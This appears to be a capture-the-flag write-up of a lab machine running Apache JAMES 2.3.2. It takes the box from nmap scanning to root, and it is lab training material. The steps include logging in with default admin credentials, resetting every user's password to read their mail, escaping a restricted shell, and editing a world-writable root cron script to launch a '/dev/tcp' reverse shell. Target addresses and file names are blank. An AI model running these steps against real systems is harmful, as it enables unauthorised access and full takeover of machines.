SolidState Writeup

04 April 2023 #CTF #HTB #box #medium #linux

solidstate info


nmap is pretty solid:

$ sudo nmap -p- -T4 -oN enum/fulltcp.nmap
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
110/tcp  open  pop3
119/tcp  open  nntp
4555/tcp open  rsip
$ sudo nmap -p 22,25,80,110,119,4555 -sCV -oN enum/scripts-tcp.nmap
22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 770084f578b9c7d354cf712e0d526d8b (RSA)
|   256 78b83af660190691f553921d3f48ed53 (ECDSA)
|_  256 e445e9ed074d7369435a12709dc4af76 (ED25519)
25/tcp   open  smtp    JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello ( [])
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Home - Solid State Security
110/tcp  open  pop3    JAMES pop3d 2.3.2
119/tcp  open  nntp    JAMES nntpd (posting ok)
4555/tcp open  rsip?
| fingerprint-strings: 
|   GenericLines: 
|     JAMES Remote Administration Tool 2.3.2
|     Please enter your login and password
|     Login id:
|     Password:
|     Login failed for 
|_    Login id:

Apache JAMES

Our nmap scan shows that some of the services seem to be running under the same software. A quick search for 'JAMES' leads us to this page which confirms this is a mail server.

We even have a version (2.3.2) which is vulnerable to RCE. However, in order to trigger the code execution, someone needs to login to the box (for example via SSH).

There is also a remote administration tool on port 4555. The default creds are root:root.


After loging in, we can use the help command to see what we can do:

Welcome root. HELP for a list of commands
Currently implemented commands:
help                                    display this help
listusers                               display existing accounts
countusers                              display the number of existing accounts
adduser [username] [password]           add a new user
verify [username]                       verify if specified user exist
deluser [username]                      delete existing user
setpassword [username] [password]       sets a user's password
setalias [user] [alias]                 locally forwards all email for 'user' to 'alias'
showalias [username]                    shows a user's current email alias
unsetalias [user]                       unsets an alias for 'user'
setforwarding [username] [emailaddress] forwards a user's email to another email address
showforwarding [username]               shows a user's current email forwarding
unsetforwarding [username]              removes a forward
user [repositoryname]                   change to another user repository
shutdown                                kills the current JVM (convenient when James is run as a daemon)
quit                                    close connection

Let's list users:

Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin

We can also change the password of a user with the setpassword command. We'll reset the password for earch user to 'asdf':

setpassword james asdf
Password for james reset
setpassword thomas asdf
Password for thomas reset
setpassword john asdf
Password for john reset
setpassword mindy asdf
Password for mindy reset
setpassword mailadmin asdf
Password for mailadmin reset

We can now access the mailbox on port 110 (POP3) of each user. The most interesting one is mindy's:

$ nc 110
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
user mindy
pass asdf
+OK Welcome mindy
+OK 2 1945
1 1109
2 836
retr 2
+OK Message follows
Dear Mindy,

Here are your ssh credentials to access the system. Remember to reset your password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.

username: mindy
pass: P@55W0rd1!2@


We can ssh in as mindy with this password.


Restricted bash Escape

We are now on the box, but in a restricted environment:

mindy@solidstate:~$ echo $PATH
mindy@solidstate:~$ ls /home/mindy/bin
cat  env  ls

We can only use these 3 commands.

But since we can login to the box, we can use the JAMES CVE to escape this restricted shell. Edit the exploit script to execute bash when we log in:

payload = 'bash'

Execute the exploit script:

[HTB/machines/solidstate] $ ./
[+]Connecting to James Remote Administration Tool...
[+]Creating user...
[+]Connecting to James SMTP server...
[+]Sending payload...
[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).

And now, when logging in with mindy, we should execute bash and escape the restricted shell:

[HTB/machines/solidstate] $ ssh mindy@
mindy@'s password:

There's a bunch of error messages, but we indeed escaped.

Alternatively, we can escape the restricted bash by putting -t bash at the end of our ssh command:

$ ssh mindy@ -t bash
mindy@'s password:
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ id
uid=1001(mindy) gid=1001(mindy) groups=1001(mindy)

No CVE needed!

Abuse root Cron Job

After uploading pspy (32-bit version) and running it, we see a cron job executing a python script every 3 minutes:

${debian_chroot:+($debian_chroot)}mindy@solidstate:/dev/shm$ ./pspy32
2023/04/04 07:48:01 CMD: UID=0     PID=2430   | python /opt/
2023/04/04 07:48:01 CMD: UID=0     PID=2431   | sh -c rm -r /tmp/*

This script is world writable:

${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ls -l /opt/
-rwxrwxrwx 1 root root 105 Aug 22  2017 /opt/

We just have to edit it to send us a reverse shell:

#!/usr/bin/env python
import os
import sys
     os.system('rm -r /tmp/* ')
     os.system('bash -c "bash -i >& /dev/tcp/ 0>&1"')

And wait a few minutes:

root@solidstate:~# id
uid=0(root) gid=0(root) groups=0(root)

Key Takeaways